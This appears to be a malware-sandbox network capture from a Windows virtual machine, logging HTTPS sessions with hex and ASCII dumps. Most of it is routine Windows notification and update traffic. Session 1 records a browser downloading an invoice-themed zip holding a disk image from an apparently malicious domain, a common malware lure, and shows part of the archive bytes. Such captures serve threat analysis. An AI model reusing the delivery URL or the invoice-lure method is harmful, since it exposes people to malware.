2024-07-03 17:22:48 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-03 17:22:48 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 64 57 5a 59 78 44 4a 38 32 55 43 44 4e 59 77 46 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 31 65 38 33 62 33 37 30 31 36 37 36 61 32 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 4f 78 6c 45 56 39 6b 34 43 49 32 37 64 56 70 71 38 79 6a 4a 4b 55 39 6c 75 78 6a 48 58 48 6b 70 65 66 2f 44 4b 35 48 59 33 30 34 51 67 4e 4c 4b 6b 44 65 61 61 76 6e 36 49 5a 6c 38 33 32 52 2f 34 41 4c 4e 33 7a 59 71 62 39 55 59 47 79 70 54 4d 69 36 4a 6f 63 50 7a 36 52 47 71 2b 43 39 4c 6d 59 62 52 47 73 57 6e 6c 59 59 56 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: dWZYxDJ82UCDNYwF.2Context: e1e83b3701676a22<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATOxlEV9k4CI27dVpq8yjJKU9luxjHXHkpef/DK5HY304QgNLKkDeaavn6IZl832R/4ALN3zYqb9UYGypTMi6JocPz6RGq+C9LmYbRGsWnlYYV
2024-07-03 17:22:48 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 64 57 5a 59 78 44 4a 38 32 55 43 44 4e 59 77 46 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 31 65 38 33 62 33 37 30 31 36 37 36 61 32 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: dWZYxDJ82UCDNYwF.3Context: e1e83b3701676a22<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-03 17:22:48 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-03 17:22:48 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6d 79 7a 57 35 78 58 30 44 6b 36 33 31 57 75 6c 69 42 78 64 47 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: myzW5xX0Dk631WuliBxdGw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49717	162.210.199.135	443	2996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 17:22:49 UTC	677	OUT	GET /Invoice-yetdr.zip HTTP/1.1 Host: www.bnaminexg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 17:22:50 UTC	213	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 17:22:50 GMT Server: Apache Last-Modified: Tue, 02 Jul 2024 19:30:41 GMT Accept-Ranges: bytes Content-Length: 10969 Connection: close Content-Type: application/zip
2024-07-03 17:22:50 UTC	7979	IN	Data Raw: 50 4b 07 08 50 4b 03 04 14 00 00 00 08 00 b6 7b e2 58 4f a1 00 07 2d 2a 00 00 00 00 13 00 11 00 00 00 49 6e 76 6f 69 63 65 2d 79 65 74 64 72 2e 69 6d 67 ec dd cf 4f 14 67 18 07 f0 67 06 85 2d 17 68 3c 61 62 1c 6c d5 44 53 32 2c 12 68 5a 8d 20 ab 25 51 4c 80 d5 f4 68 14 1b 13 81 46 d1 53 0f fd 1f 7a f1 de bb 87 a6 77 93 a6 f7 a6 a7 9e 7b f3 b8 17 cf ed 3b 03 ab 88 a9 bf 45 0a 9f cf b0 03 fb ce fb 0e ef 70 f9 be 33 24 fb 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 d9 b9 99 b2 1c cd a2 78 85 99 cb e7 da 97 5a 73 8b 0b ff 71 bc 7b be ab 79 b5 cf af be f2 f7 a6 af ea 15 8d 46 f4 af 37 f5 7f 95 77 8f e6 5f 57 fb 23 71 7a fd 6c a7 d7 d6 9b d7 7e e8 cb 07 0e 1d eb e4 dd f1 ed b9 99 d6 f9 d9 b9 d6 4c c1 c7 30 Data Ascii: PKPK{XO-*Invoice-yetdr.imgOgg-h<ablDS2,hZ %QLhFSzw{;Ep3$xZsq{yF7w_W#qzl~L0
2024-07-03 17:22:50 UTC	2990	IN	Data Raw: bf 95 46 3d ce 57 58 df 7d 52 f1 99 a7 ee c9 5f ab de b9 6d b7 1e 66 93 67 b9 b2 bb 2d df 77 b9 18 ec bf f4 49 c1 34 ff 3a ad ed b2 7d 67 5a d5 e5 dd 09 36 d3 76 df d6 e3 e8 9b 2d 7c 6f bd be e8 5c ac e1 e3 44 bc a1 c8 ba 1a b0 63 de a2 0e 41 b0 c2 8d df 35 5e f2 ef 50 bc b7 6f e1 f1 7e d0 48 f1 3d 6d 3b 8c e0 e9 20 f7 fb 8f d6 a7 9c 2f b3 2e 5b 3f 24 d7 f4 56 32 76 3d 9a 7b e8 ac 8e d6 2c 98 c3 ee 58 b7 a9 0e b9 27 dc 5a 71 4f dd 31 df ba e3 e9 f5 92 bf 63 db 57 58 3f cd 75 d8 13 bb d6 d5 4e e9 7e 79 4f 64 7d 1c ae 73 fb a3 fb 3f d9 2c ff 45 47 76 1e 4f 7a 57 1d 9c 8a b1 3e 13 10 80 db fc 88 c4 ce 2c ff ec 5d 72 2e 63 81 ac 8d 38 57 a4 32 a8 4e 79 ef 3f b4 ff a3 f4 d5 fe 3e ce 37 ae 3c e5 5d e9 19 a3 ec bc ce ee 77 a9 3e 6e 5e 7d ca 1b 6f f1 c3 bf 3c 8e Data Ascii: F=WX}R_mfg-wI4:}gZ6v-\|o\DcA5^Po~H=m; /.[?$V2v={,X'ZqO1cWX?uN~yOd}s?,EGvOzW>,]r.c8W2Ny?>7<]w>n^}o<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49722	2.18.97.153	443

Timestamp	Bytes transferred	Direction	Data
2024-07-03 17:22:52 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-03 17:22:53 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=82077 Date: Wed, 03 Jul 2024 17:22:53 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49723	2.18.97.153	443

Timestamp	Bytes transferred	Direction	Data
2024-07-03 17:22:54 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-03 17:22:54 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=81963 Date: Wed, 03 Jul 2024 17:22:54 GMT Content-Length: 55 Connection: close X-CID: 2
2024-07-03 17:22:54 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49724	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-07-03 17:22:57 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 51 2f 76 2f 68 32 66 79 41 30 32 63 55 49 37 32 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 34 31 64 63 31 37 30 64 36 63 35 34 37 66 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Q/v/h2fyA02cUI72.1Context: d41dc170d6c547f6
2024-07-03 17:22:57 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-03 17:22:57 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 51 2f 76 2f 68 32 66 79 41 30 32 63 55 49 37 32 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 34 31 64 63 31 37 30 64 36 63 35 34 37 66 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 4f 78 6c 45 56 39 6b 34 43 49 32 37 64 56 70 71 38 79 6a 4a 4b 55 39 6c 75 78 6a 48 58 48 6b 70 65 66 2f 44 4b 35 48 59 33 30 34 51 67 4e 4c 4b 6b 44 65 61 61 76 6e 36 49 5a 6c 38 33 32 52 2f 34 41 4c 4e 33 7a 59 71 62 39 55 59 47 79 70 54 4d 69 36 4a 6f 63 50 7a 36 52 47 71 2b 43 39 4c 6d 59 62 52 47 73 57 6e 6c 59 59 56 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: Q/v/h2fyA02cUI72.2Context: d41dc170d6c547f6<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATOxlEV9k4CI27dVpq8yjJKU9luxjHXHkpef/DK5HY304QgNLKkDeaavn6IZl832R/4ALN3zYqb9UYGypTMi6JocPz6RGq+C9LmYbRGsWnlYYV
2024-07-03 17:22:57 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 51 2f 76 2f 68 32 66 79 41 30 32 63 55 49 37 32 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 34 31 64 63 31 37 30 64 36 63 35 34 37 66 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Q/v/h2fyA02cUI72.3Context: d41dc170d6c547f6<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-03 17:22:57 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-03 17:22:57 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 70 68 32 44 53 4a 34 54 6e 30 4b 6f 39 46 49 5a 6c 53 72 6d 67 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: ph2DSJ4Tn0Ko9FIZlSrmgw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49725	40.127.169.103	443

Timestamp	Bytes transferred	Direction	Data
2024-07-03 17:22:59 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Ho+WaTooYaEzWTF&MD=PTOS4Cod HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-03 17:22:59 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 5773f741-0269-4056-a262-eaf04ef7b151 MS-RequestId: a09190ed-fbe9-4285-8a34-ad113e53f5f7 MS-CV: IV58DXmdeU6DdjtW.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 03 Jul 2024 17:22:59 GMT Connection: close Content-Length: 24490
2024-07-03 17:22:59 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-07-03 17:22:59 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	59276	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-07-03 17:23:12 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 76 74 32 4c 6d 4e 4d 76 4e 30 71 72 6d 4b 78 46 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 63 35 34 61 61 30 31 66 32 61 33 62 38 31 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: vt2LmNMvN0qrmKxF.1Context: 3c54aa01f2a3b811
2024-07-03 17:23:12 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-03 17:23:12 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 76 74 32 4c 6d 4e 4d 76 4e 30 71 72 6d 4b 78 46 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 63 35 34 61 61 30 31 66 32 61 33 62 38 31 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 4f 78 6c 45 56 39 6b 34 43 49 32 37 64 56 70 71 38 79 6a 4a 4b 55 39 6c 75 78 6a 48 58 48 6b 70 65 66 2f 44 4b 35 48 59 33 30 34 51 67 4e 4c 4b 6b 44 65 61 61 76 6e 36 49 5a 6c 38 33 32 52 2f 34 41 4c 4e 33 7a 59 71 62 39 55 59 47 79 70 54 4d 69 36 4a 6f 63 50 7a 36 52 47 71 2b 43 39 4c 6d 59 62 52 47 73 57 6e 6c 59 59 56 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: vt2LmNMvN0qrmKxF.2Context: 3c54aa01f2a3b811<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATOxlEV9k4CI27dVpq8yjJKU9luxjHXHkpef/DK5HY304QgNLKkDeaavn6IZl832R/4ALN3zYqb9UYGypTMi6JocPz6RGq+C9LmYbRGsWnlYYV
2024-07-03 17:23:12 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 76 74 32 4c 6d 4e 4d 76 4e 30 71 72 6d 4b 78 46 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 63 35 34 61 61 30 31 66 32 61 33 62 38 31 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: vt2LmNMvN0qrmKxF.3Context: 3c54aa01f2a3b811<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-03 17:23:12 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-03 17:23:12 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 49 70 4e 66 41 65 52 69 33 6b 36 42 32 56 4f 55 46 61 76 44 68 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: IpNfAeRi3k6B2VOUFavDhQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	59277	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-07-03 17:23:29 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 5a 2b 48 5a 49 4a 32 77 72 55 53 4d 74 49 72 6c 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 32 31 30 64 37 32 35 63 65 35 32 36 62 35 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Z+HZIJ2wrUSMtIrl.1Context: 3210d725ce526b55
2024-07-03 17:23:29 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
